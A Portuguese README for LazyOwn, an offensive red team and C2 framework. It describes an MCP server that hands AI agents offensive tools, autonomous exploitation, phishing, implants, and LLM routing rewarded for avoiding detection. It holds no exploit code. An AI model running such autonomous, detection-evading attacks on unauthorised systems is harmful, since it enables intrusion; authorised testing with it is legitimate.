grisuno/lazyownFramework de red team e plataforma C2 multioperador com agentes de IA, implantes maleáveis, rootkits, motor de phishing e 741 comandos CLI cobrindo toda a kill chain de ataque.
741 comandos CLI. C2 multioperador. 153 ferramentas MCP para agentes de IA. O único C2 OSS com suporte a BOF para Linux + marketplaces YARA/Nuclei integrados.
| Experimente em 60 segundos (sem instalação) | Caminho dourado (em cada engagement) | Auto-pwn com um comando |
|---|---|---|
docker run -it ghcr.io/grisuno/lazyown:latest | ping > lazynmap > auto_populate > facts_show > recommend_next | engage 10.10.11.5 |
| Primeiros 7 comandos | Loop de recon |
|---|---|
 |  |
| C2 a partir da CLI | Enviar comandos para beacons |
|---|---|
 |  |
Passo a passo completo: QUICKSTART.md (5 min) · guia 80/20: ESSENTIALS.md · HTB ponta a ponta: docs/examples/htb-lame-walkthrough.md · Comparação honesta: COMPARISON.md
| Capacidade | LazyOwn | Sliver | Havoc | Mythic | Caldera | Metasploit |
|---|---|---|---|---|---|---|
| Suporte a BOF para Linux | sim | não | não | não | não | não |
| Marketplace YARA + Nuclei integrado | sim | não | não | não | não | não |
| Servidor MCP para agentes de IA (153 ferramentas) | sim | não | não | não | não | não |
| Operador LLM + hive multiagente | sim | não | não | não | não | não |
| C2 multioperador + motor de phishing | sim | parcial | parcial | parcial | parcial | parcial |
Tabela completa: COMPARISON.md. Encontrou um erro? Abra uma issue, nós corrigimos.```sh
██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █
▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █
▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒
▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒
░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░
░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒
░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
[](https://ko-fi.com/Y8Y2Z73AV)
LazyOwn vem com ABSOLUTAMENTE NENHUMA GARANTIA. Este é um software livre, e você é bem-vindo a redistribuí-lo sob os termos da GNU General Public License v3.
Consulte o arquivo LICENSE para obter detalhes sobre o uso deste software.
# LazyOwn RedTeam Framework v0.2.161
LazyOwn é um framework profissional de red team e plataforma de Command & Control (C2) criado para pentesters, red teams e pesquisadores de segurança. Ele oferece 741 comandos CLI, 126 aliases, 153 ferramentas MCP para agentes de IA, um dashboard web C2 multioperador e 137 integrações de plugins YAML/Lua cobrindo toda a kill chain em Linux, Windows, macOS e BSD.
**Novo na v0.2.161:** marketplace integrado com regras YARA + templates Nuclei, `auto_pwn` para exploração autônoma, comando `hunt` para reconhecimento orientado a ameaças, mecanismo de dicas pós-comando, criptografia automática de dados de sessão, ELO/badges gamificados e 7 novos playbooks de APT.
## Início rápido em três comandos
Novo por aqui? Este é todo o caminho de entrada. Passo a passo completo: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
A instalação padrão é leve; adicione --with-ml para a stack pesada de torch/CUDA, --with-ollama para o runtime local de LLM, --with-tools para os binários externos comuns. As dependências estão fixadas em requirements.txt (núcleo multiplataforma) e requirements-ml.txt (ML opcional); pyproject.toml é a única fonte de verdade.
Para engajamentos isolados e reproduzíveis, consulte lazyown-docker/README.md.```bash
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
Então, dentro do shell `(LazyOwn) >`:```text
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
Se o doctor relatar uma falha bloqueante (vermelho), corrija-a antes de prosseguir — ele informa o comando exato pip install / apt install para o que estiver faltando. Avisos (amarelo) são recursos opcionais que você pode ignorar por enquanto.
O LazyOwn é construído em torno de uma arquitetura modular orientada a comandos que oferece flexibilidade e extensibilidade para fluxos de trabalho de testes de segurança.
O LazyOwn integra uma interface de linha de comando (CLI) construída sobre o cmd2 e uma GUI baseada em web construída sobre o Flask. Os parâmetros são delimitados em payload.json, permitindo configuração consistente entre ferramentas. O framework suporta simulação de adversários, agendamento de tarefas via o comando cron e fluxos de trabalho persistentes de simulação automatizada de ameaças.
Conecte o Claude Code ao framework LazyOwn via o Model Context Protocol (MCP). O servidor MCP expõe 153 ferramentas cobrindo todo o ciclo de vida do engajamento.
| Arquivo | Propósito |
|---|---|
skills/lazyown_mcp.py | Servidor MCP — expõe 153 ferramentas do LazyOwn ao Claude |
skills/lazyown.md | Documentação da skill / slash-command do Claude Code |
skills/autonomous_daemon.py | Daemon de execução autônoma (orientado a objetivos, sem necessidade do Claude entre etapas) |
skills/hive_mind.py | Sistema multiagente rainha + drones com memória ChromaDB |
skills/lazyown_policy.py | Motor de políticas baseado em recompensa para o auto_loop |
skills/lazyown_facts.py | Extração estruturada de fatos a partir de XML do nmap e saída de ferramentas |
skills/lazyown_parquet_db.py | Base de conhecimento Parquet: histórico de sessões, GTFOBins, LOLBas, ATT&CK |
Guia completo:
QUICKSTART.md```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show
bash fast_run_as_r00t.sh --no-attach --vpn 1
(LazyOwn) > blacksandbeacon
(LazyOwn) > collab_join alice
---
## Colaboração Multi-Operador
A camada de colaboração do LazyOwn fornece funcionalidade de servidor de equipe em tempo real via
Server-Sent Events (SSE). Ela é ativada automaticamente quando `lazyc2.py` é iniciado.
**Painel do navegador** — abra em qualquer navegador na equipe:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
Fluxo SSE do terminal:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .
**Publicar uma descoberta para todos os operadores**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
Bloquear um alvo (impede que dois operadores executem a mesma ferramenta):```bash
curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| Endpoint | Método | Descrição |
|---|---|---|
| `/collab/` | GET | Painel de navegador multioperador |
| `/collab/stream?operator=<name>` | GET (SSE) | Fluxo de eventos em tempo real |
| `/collab/operators` | GET | Lista de operadores ativos |
| `/collab/publish` | POST | Transmitir um evento estruturado |
| `/collab/lock` | POST | Adquirir bloqueio consultivo de alvo |
| `/collab/unlock` | POST | Liberar bloqueio de alvo |
| `/collab/locks` | GET | Todos os bloqueios ativos |
| `/collab/history?n=100` | GET | Últimos N eventos |
A partir da CLI: `collab_join <handle>` imprime todas as URLs para um determinado operador.
---
## Início Rápido do MCP
O LazyOwn expõe todo o seu framework através do Model Context Protocol (MCP). O mesmo servidor funciona com Claude Code, Claude Desktop, Hermes Agent e OpenCode — escolha a integração que corresponde ao seu ambiente.
### Claude Code```bash
bash scripts/setup_hermes_mcp.sh
Ou copie .mcp.example.json para .mcp.json e defina LAZYOWN_DIR para o
caminho absoluto deste checkout:```json
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "${LAZYOWN_DIR}"
}
}
}
}
Instale o comando slash (opcional):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md
Após reiniciar o Claude Code, todas as ferramentas lazyown_* estão disponíveis.
O LazyOwn é nativo do Hermes. A camada de integração skills/hermes-lazyown/ fornece uma superfície de ferramentas compacta e com namespace otimizada para as janelas de contexto do Hermes, com retomada de checkpoint, geração dinâmica de regras e planejamento de delegação nativa.
Registre em ~/.hermes/config.yaml:```yaml
mcp_servers:
hermes-lazyown:
command: python3
args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "${LAZYOWN_DIR}"
Em seguida, recarregue as ferramentas MCP no Hermes com `/reload-mcp`.
Consulte `skills/hermes-lazyown/README.md` para o guia completo de integração com o Hermes.
### OpenCode
O LazyOwn é compatível com o OpenCode através do **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
O adaptador faz a ponte entre o servidor MCP do LazyOwn e a CLI do OpenCode, expondo a mesma superfície de ferramentas lazyown_* com prompts e fluxos de trabalho nativos do OpenCode.
Configuração completa: https://github.com/grisuno/LazyOwnOpenCodeAdapter
| Variável | Padrão | Descrição |
|---|---|---|
LAZYOWN_DIR | pai de skills/ | Diretório raiz do LazyOwn |
LAZYOWN_C2_HOST | payload.json lhost | Endereço do servidor C2 |
LAZYOWN_C2_PORT | payload.json c2_port | Porta do servidor C2 |
LAZYOWN_C2_USER | payload.json c2_user | Nome de usuário do C2 |
LAZYOWN_C2_PASS | payload.json c2_pass | Senha do C2 |
| Grupo | Ferramentas | Descrição |
|---|---|---|
| Execução Central | 7 | run_command (agora com dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette |
| Auditoria e Contexto | 6 | target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status |
| Gerenciamento de Alvos | 3 | add_target, list_targets, set_active_target |
| Controle de C2 / Implante | 10 | c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary |
| Consciência de Sessão | 4 | session_status, session_state, list_sessions, read_session_file |
| Loop Autônomo | 3 | auto_loop, policy_status, recommend_next |
| ACI — Autonomous Campaign Intelligence | 3 | aci_plan, aci_status, aci_replan |
| Inteligência Reativa | 2 | reactive_suggest, bridge_suggest |
| Objetivos e Planejamento | 4 | inject_objective, next_objective, soul, read_prompt |
| Bases de Conhecimento | 9 | parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model |
| Memória e Aprendizado | 3 | memory_recall/store, eval_quality |
| Campanha e Relatórios | 7 | campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline |
| Playbooks | 2 | playbook_generate, playbook_run |
| Addons, Ferramentas e Plugins | 3 | list_addons/plugins, create_addon/tool |
| Agendamento | 2 | cron_schedule, daemon |
| Agentes de IA | 5 | run_agent, agent_status/result, list_agents, llm_ask |
| Motor de Eventos | 4 | poll_events, ack_event, add_rule, heartbeat_status |
| SWAN MoE+RL | 4 | swan_run, swan_ensemble, swan_status, swan_route |
Documentação completa: skills/README.md e skills/lazyown.md.
Adicionadas em skills/lazyown_mcp_helpers.py para tornar as auditorias autônomas mais
eficientes e menos propensas a erros. A lógica reside em um módulo de funções puras para
ser testável unitariamente de forma isolada (tests/test_mcp_improvements.py).
| Ferramenta / Parâmetro | O que faz | Por que importa |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) | Retorna o SITREP como um dict estruturado em vez de um banner; opcionalmente incorpora as 3 principais ações recomendadas classificadas. | Economiza ~5KB de texto decorado por chamada; os agentes podem filtrar antes de consumir. |
lazyown_campaign_sitrep(format='json') | Mesma opção JSON para o relatório mestre de turno. | Formato consistente entre ambas as ferramentas de situação. |
lazyown_target_context(host, port=N) | Agrega portas abertas, credenciais do modelo de mundo (com proveniência + confiança), vulnerabilidades, atualidade de evidências do pwntomate e atualidade do nmap para uma tupla (host, port). | Substitui 4-5 consultas separadas ao decidir a próxima ação em um alvo. |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) | Audita sessions/tasks.json e sinaliza entradas onde a credencial incorporada é na verdade um timestamp / URL / IP / duplicata. Passe dry_run=false para reescrever o arquivo (um .bak é gravado primeiro). | O watcher comumente transforma timestamps de log em "credenciais"; em uma campanha real isso elimina mais de 100 tarefas de ruído. |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) | Pré-verificação: retorna comando base, caminho do binário, exigido pelo SO vs SO atual, artefatos que seriam duplicados, chaves de payload ausentes — sem executar. | Impede reexecuções acidentais de varreduras de 30 min; sinaliza ferramentas exclusivas do Windows contra um alvo Linux antes do lançamento. |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) | Padrão de trabalho em segundo plano para comandos longos (lazynmap, pwntomate, auto_loop). Retorna um job_id imediatamente. | Libera o agente de bloquear em comandos documentados como ≥30 min. |
lazyown_session_diff(take=true) | Relata arquivos adicionados / modificados / removidos em sessions/ além de novas credenciais / IDs de tarefas desde o último snapshot. | Torna as passagens de turno explícitas; funciona bem como a primeira chamada de cada nova sessão. |
Portão de confirmação (confirm=true) |
Uma camada de extensão SOLID em cli/cli_enhancements.py se conecta ao shell cmd2
via a autodescoberta existente de CommandSet (cli/commands/audit.py). Nenhuma
edição no núcleo de 27k linhas do lazyown.py foi necessária além de dois pequenos hooks
(carregamento de alias lazy, fallback de completedefault).
| Comando / hook | O que faz | Suportado por |
|---|---|---|
fz [query] | Localizador difuso de comandos sobre cada do_*, alias, plugin e addon. Pontua exato > prefixo > substring > similaridade de sequência. | FuzzyCommandIndex |
form <command> | Conduz o operador por um formulário interativo de parâmetros para comandos com muitas flags (atualmente phishing, venom, evil). Valida campos obrigatórios e enums de options; recorre aos padrões em IO não interativo. | InteractiveForm, FormSpec |
status_tail [target] | Analisa o sessions/scan_<target>.partial/.nmap mais recente e imprime portas abertas, percentual concluído e última linha para que o operador possa monitorar uma varredura longa sem sair do shell. | LiveStatusTail |
grep_log <pattern> [--cmd <name>] | Busca por regex na transcrição recente de comandos executados e suas saídas. Persiste entre reinicializações (sessions/_cli_transcript.jsonl). | TranscriptStore |
reload_addons | Consulta lazyaddons/ e plugins/ e reregistra qualquer coisa que mudou desde a última varredura, sem reiniciar o shell. | AddonHotReloader |
audit_complete_keys <command> [partial] | Mostra o que o completador ciente de payload sugeriria para um determinado comando. Útil para verificar o comportamento de completação. | PayloadAwareCompleter |
completedefault (Tab) | O hook do Cmd2 agora recorre a um completador ciente de payload que sugere chaves de payload para set/assign, valores de IP para target, chaves de wordlist para gobuster/ffuf, nomes de addon para run, nomes de plugin para plugin e credenciais capturadas para evil/cme/. |
As primitivas são agnósticas de framework e dependem de pequenas interfaces
typing.Protocol (PayloadProvider, CommandLister, TerminalIO) para que possam ser
testadas unitariamente de forma isolada. Veja tests/test_cli_enhancements.py (36 testes).
O shell cmd2 instala um seletor difuso controlado por curses sobre o GNU readline
(cli/fuzzy_picker.py). Ao pressionar Tab uma única vez, quando duas ou mais
completações estão disponíveis, o seletor abre um dropdown com borda ancorado
na parte inferior do terminal mostrando cada correspondência junto com sua descrição.
O pontuador favorece correspondências exatas, de prefixo e de subsequência sobre substring e
similaridade (a mesma classificação que o comando autônomo fz usa), e os
caracteres correspondentes da consulta são destacados em cada linha para que o operador
possa ver por que um candidato está na lista.
Navegação: ↑ / ↓ para mover, Page Up / Page Down para pular, Home /
End para buscar, Backspace para editar a consulta no local, Tab ou
Enter para inserir o comando destacado no prompt, Esc ou
Ctrl-C para cancelar. Quando apenas um candidato corresponde, o comportamento
normal de autoinserção do readline é preservado para que o seletor nunca atrapalhe um
operador rápido. Geometria, cores e glifos são controlados por PickerConfig,
e um bloco opcional fuzzy_picker em payload.json pode sobrescrever qualquer um de
seus campos (por exemplo, "max_visible_rows": 8) sem tocar no código.
config_bannerO shell cmd2 renderiza um prompt Neon Box de três linhas montado a partir de um
conjunto canônico de segmentos (user_host, iface, lhost, rhost,
domain, public_ip, cwd, git, venv, time, kernel, version,
battery_load). O renderizador é implementado em cli/banner_config.py como
uma pequena pilha SOLID: um SegmentRenderer por peça de informação, um
SegmentRegistry, um objeto de valor BannerSettings e um BannerRenderer
que emite saída colorida em ANSI. IP público, versão do kernel e a versão do LazyOwn
são armazenados em cache com TTL para que o prompt permaneça abaixo de milissegundos após a primeira
renderização.
O comando de shell config_banner abre um assistente curses no estilo Powerlevel10k
com três abas — Segments, Colors, Glyphs — e uma
pré-visualização ao vivo do prompt resultante ancorada na parte inferior do painel.
Tab / Shift+Tab alternam as abas; ↑ / ↓ movem dentro da aba ativa;
Enter salva em payload.json sob o bloco banner; Escape
cancela. Atalhos por aba:
| Aba | Teclas de ação |
|---|---|
| Segments | Space alterna um segmento entre ativado/desativado; a ativa todos os segmentos; n desativa todos os segmentos; d restaura os padrões de fábrica. |
| Colors | Space / → alterna para a próxima cor nomeada (bright_green, bright_cyan, bright_magenta, …); ← alterna de volta; d restaura a cor padrão daquele segmento. |
| Glyphs | Space / → alterna para o próximo caractere do slot em foco (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← alterna de volta; d restaura o glifo padrão daquele slot. |
O prompt do shell é atualizado imediatamente após salvar — sem necessidade de reiniciar.
Operadores sem TTY (CI, scripts) ainda podem controlar o sistema com
config_banner show e config_banner reset, ou editar manualmente o payload:```json
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
Os nomes de cores são validados contra o `ColorRegistry` e os caracteres de glifos contra o `GlyphRegistry`; qualquer coisa desconhecida recorre silenciosamente ao padrão da fábrica, para que um payload malformado nunca quebre o prompt.
### Navegação ciente do grafo — UX para operador + agente a partir do graphify
`cli/graph_advisor.py` carrega o grafo de conhecimento produzido por
[`/graphify`](https://graphify.dev) sobre a árvore de código-fonte do LazyOwn
(`graphify-out/graph_lazyown.json` — ~1500 nós, ~2900 arestas, 14
comunidades) e expõe-no tanto à shell cmd2 como ao servidor MCP. O
advisor é uma stack SOLID de ficheiro único — `GraphLoader` (IO de ficheiro com cache por mtime), `GraphIndex` (índices em memória de adjacência / grau / comunidade),
`GraphScorer` (primitiva pura de ranking), `GraphAdvisor` (orquestrador) —
com todas as constantes mantidas na dataclass `GraphAdvisorConfig`.
**Comandos de operador (shell cmd2)**
| Comando | Propósito |
|---------|---------|
| `graph_search <query> [limit]` | Pesquisa difusa de nós por label, id ou ficheiro de origem. |
| `neighbors <node> [depth] [limit]` | Percorre o grafo para fora a partir de um nó com relação de aresta / confiança. |
| `god_nodes [N]` | Mostra os nós mais conectados — as abstrações centrais do framework. |
| `suggest_next [seeds…] [N]` | Recomenda os próximos comandos percorrendo para fora a partir da atividade recente. Sem seeds, lê `sessions/LazyOwn_session_report.csv` e usa-o como ponto de partida. |
O hook `default()` da shell agora encaminha comandos `do_*` desconhecidos através do
mesmo advisor + o `FuzzyCommandIndex` existente, para que um operador que escreva
`ddo_lazynmap` veja instantaneamente *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"*
antes do toast.
**Ferramentas MCP (Claude Code, Claude web, qualquer agente MCP)**
| Ferramenta | Propósito |
|------|---------|
| `lazyown_graph_summary` | Contagens de nós / arestas / comunidades e o caminho resolvido do grafo. |
| `lazyown_graph_search` | Pesquisa difusa de nós com um limite `budget_tokens` para que a resposta JSON nunca rebente a janela de contexto do agente. |
| `lazyown_graph_neighbors` | Percurso de adjacência em camadas com relação de aresta e confiança — a consulta canónica "de que depende X?". |
| `lazyown_graph_suggest_next` | Recomendação do próximo passo; aceita uma lista `recent` explícita ou lê a transcrição da sessão. |
Todas as ferramentas de grafo MCP cortam os campos de lista no local para caberem em `budget_tokens`
(predefinição 1500). Quando o grafo está em falta, todas as ferramentas devolvem
`{"available": false, "reason": "..."}` em vez de rebentar — o operador
é instruído a executar `/graphify .` uma vez e tudo começa a funcionar.
O advisor faz cache por `(path, mtime)` para que uma reconstrução fresca do `/graphify` seja
apanhada automaticamente no próximo comando CLI ou chamada MCP sem
reiniciar a shell ou o servidor MCP. Ver
`tests/test_graph_advisor.py` para os 20 testes unitários que cobrem o loader,
o index, o scorer e a API completa do advisor.
### Dicas reativas inline — sugestões de próximo passo não bloqueantes
`cli/reactive_hints.py` liga-se ao pipeline pós-comando do cmd2 via
`register_postcmd_hook` e imprime uma única linha esbatida por baixo de cada saída de comando,
antes de aparecer o próximo prompt:```
↳ do_gobuster · do_enum4linux · do_ffuf
A sugestão vem do grafo de conhecimento graphify (o mesmo GraphAdvisor
usado por suggest_next), portanto é estruturalmente fundamentada — não uma lista genérica.
O hook é totalmente não bloqueante: ele retorna antes que o cmd2 renderize o prompt, para que
o operador possa começar a digitar o próximo comando imediatamente.
Controle
| Ação | Como |
|---|---|
| Desativar dicas para a sessão | set enable_inline_hints false |
| Reativar | set enable_inline_hints true |
| Persistir permanentemente | set enable_inline_hints false e depois save |
Comandos na lista de exclusão (help, ?, exit, set, show, palette,
dashboard, suggest_next, graph_search, neighbors, god_nodes) nunca
produzem uma linha de dica — são meta-comandos onde uma sugestão adiciona ruído.
Quando o grafo graphify está ausente, o hook retorna silenciosamente. Execute
/graphify . uma vez para construir o grafo e as dicas começarão a aparecer no
próximo comando.
dashboardcli/dashboard_tui.py é um painel em tela cheia Textual
iniciado a partir do shell com:```
dashboard
Ele bloqueia o shell enquanto está aberto (como `htop` ou `lazygit`). Pressione **Q** ou
Ctrl-C para fechar e retornar ao prompt do cmd2.
**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
Fontes de dados (atualizadas automaticamente a cada 5 segundos)
| Painel | Fonte |
|---|---|
| Alvo / fase / SO | payload.json, sessions/world_model.json |
| Progresso da kill chain | sessions/world_model.json → completed_phases |
| Comandos recentes | sessions/LazyOwn_session_report.csv |
| Objetivo | sessions/world_model.json, sessions/tasks.json |
| Credenciais / hashes | sessions/credentials*.txt, sessions/hash*.txt |
| Beacons | sessions/beacons.json |
| Dicas de grafo | graphify-out/graph_lazyown.json |
Requer pip install textual (adicionado ao install.sh).
A ferramenta MCP lazyown_palette (também acessível como o comando CLI palette
e a visualização web /palette, com uma sobreposição global Ctrl+K / Cmd+K em
todas as páginas do C2) permite que agentes e operadores naveguem pelos mais de 422 comandos do_*
sem rolar a tela. Modos:
| Modo | Exemplo | Descrição |
|---|---|---|
| Visão geral | palette | Contagens de comandos por fase. |
| Fase | palette recon | Todos os comandos de uma fase da kill chain, com um resumo de uma linha. |
| Fase + filtro | palette enum nmap | Listagem da fase restringida por uma consulta de texto livre. |
| Busca | palette --search ldap | Busca difusa por nome e resumo. |
| Detalhe | palette --info do_lazynmap | Entrada completa mais vizinhos calls e related derivados do graphify (quais outros comandos compartilham funções auxiliares com este). |
| Próxima fase | palette --next recon | Comandos recomendados na fase que segue na ordenação da kill chain. |
As listas calls / related da visão de detalhe vêm de
graphify-out/graph_lazyown.json (regenerado pela skill graphify);
quando esse arquivo está ausente, a paleta degrada silenciosamente para apenas os dados de fase.
O bot telegram_hermes.py faz a ponte entre o Telegram e todo o framework LazyOwn através da camada MCP e do gateway Hermes. Ele suporta execução direta de comandos shell, delegação autônoma de agentes, agendamento cron, interação com beacons C2 e mensagens multiplataforma.
| Arquivo | Propósito |
|---|---|
telegram_hermes.py | Bot do Telegram — faz a ponte entre o Telegram e o LazyOwn MCP e o gateway Hermes |
run_telegram_hermes.sh | Script inicializador usando um venv dedicado |
venv_telegram/ | Ambiente virtual Python com dependências do python-telegram-bot |
cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
./run_telegram_hermes.sh
### Comandos do Bot
| Comando | Descrição |
|---------|-------------|
| `/start <secret>` | Autenticar com o segredo C2 do `payload.json` |
| `/cmd <command>` | Executar qualquer comando shell do LazyOwn |
| `/sitrep` | Relatório completo da situação da campanha |
| `/config [key] [val]` | Visualizar ou definir valores do payload.json |
| `/addcli <client_id>` | Definir cliente C2 ativo |
| `/clients` | Listar implantes C2 online |
| `/c2 <command>` | Enviar comando para o beacon C2 |
| `/agent <goal>` | Executar agente autônomo Groq/Ollama |
| `/delegate <goal>` | Delegar tarefa para subagente Hermes |
| `/cron <schedule> <cmd>` | Agendar comandos recorrentes do LazyOwn |
| `/status` | Mostrar status do daemon e autônomo |
| `/stop` | Parar qualquer daemon autônomo em execução |
| `/download <file>` | Baixar arquivos de sessions/ |
| Upload document | Enviar arquivos para o beacon C2 |
Qualquer mensagem de texto simples não prefixada com `/` é tratada como um comando direto do LazyOwn. Limitação de taxa (5 comandos/minuto) e timeouts de sessão (30 minutos) são aplicados.
### Arquitetura
O bot usa a mesma execução de comandos baseada em PTY que o servidor MCP (`skills/lazyown_mcp.py`), então cada comando, alias e addon do LazyOwn funciona sem importações diretas do Python. Tarefas autônomas (`/agent`, `/delegate`) geram agentes Groq ou Ollama através do shell do LazyOwn, e comandos C2 (`/c2`, `/clients`) usam os endpoints autenticados `/api/command` e `/get_connected_clients`.
---
## Arquitetura Avançada de IA (MoE + RL + SWAN + Hive Mind)
O LazyOwn integra uma pilha de IA multi-agente de classe mundial que se adapta e melhora a cada engajamento:
### Mixture of Experts (MoE) — `modules/moe_router.py`
Cinco especialistas LLM são registrados com tags de capacidade, pesos base e níveis de custo:
| Especialista | Backend | Pontos Fortes |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Reconhecimento, enumeração, decisões rápidas |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Exploração, pós-exploração, raciocínio complexo |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Escalação de privilégios, raciocínio passo a passo |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Offline, seguro para privacidade, análise detalhada |
| `groq_gemma` | Groq gemma2-9b-it | Movimento lateral, análise de credenciais |
O roteamento usa softmax com escala de temperatura (`T = max(0.5, 1.5/(1+calls/50))`) sobre pesos ajustados. Os pesos se autoajustam via média móvel exponencial da recompensa por especialista ao longo do tempo.
### Aprendizado por Reforço a partir de Modelos (RLM) — `modules/rl_trainer.py`
Q-learning tabular treina a política de roteamento ao longo das sessões de engajamento:```
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
Hiperparâmetros: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. A exploração epsilon-greedy decai a cada atualização. Os valores Q persistem em sessions/expert_qvalues.json entre sessões.
skills/swan_agent.pyA camada de integração de nível superior conecta MoE + RL + Detection Oracle + Hive Memory:
swan_run: execução de especialista único com roteamento guiado por RL e atualização de Q pós-execuçãoswan_ensemble: N especialistas em paralelo via ThreadPoolExecutor, sintetizados por WeightedTextAggregatorOutcomeEvaluator: recompensa = 0 quando a probabilidade de detecção ≥ 70% (modelagem de recompensa ciente da detecção)modules/detection_oracle.pyPrevê a probabilidade de detecção antes da execução usando 17 regras Sigma-lite cobrindo: acesso a credenciais (LSASS, SAM, DCSync), movimento lateral (PsExec, WMI, evil-winrm), escalonamento de privilégios (representação de token, named pipes), exploração, recon, C2 e força bruta.
Agregação de probabilidade: P(detect) = 1 - ∏(1 - P_i) em todas as regras acionadas.
modules/auto_purple.pyLoop automatizado de medição red-vs-blue que executa ações ofensivas, consulta o LazyOwnBT para detecção e realimenta os resultados no Detection Oracle para calibração.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI
**Métodos de detecção:**
| Método | O que verifica |
|--------|----------------|
| `ai_test` | Previsão do modelo ML LazyOwnBT |
| `proc_scan` | Nomes de processos suspeitos |
| `net_scan` | Conexões/portas incomuns |
| `log_analyze` | Anomalias de autenticação/syslog |
| `fim_scan` | Alterações de integridade de arquivos |
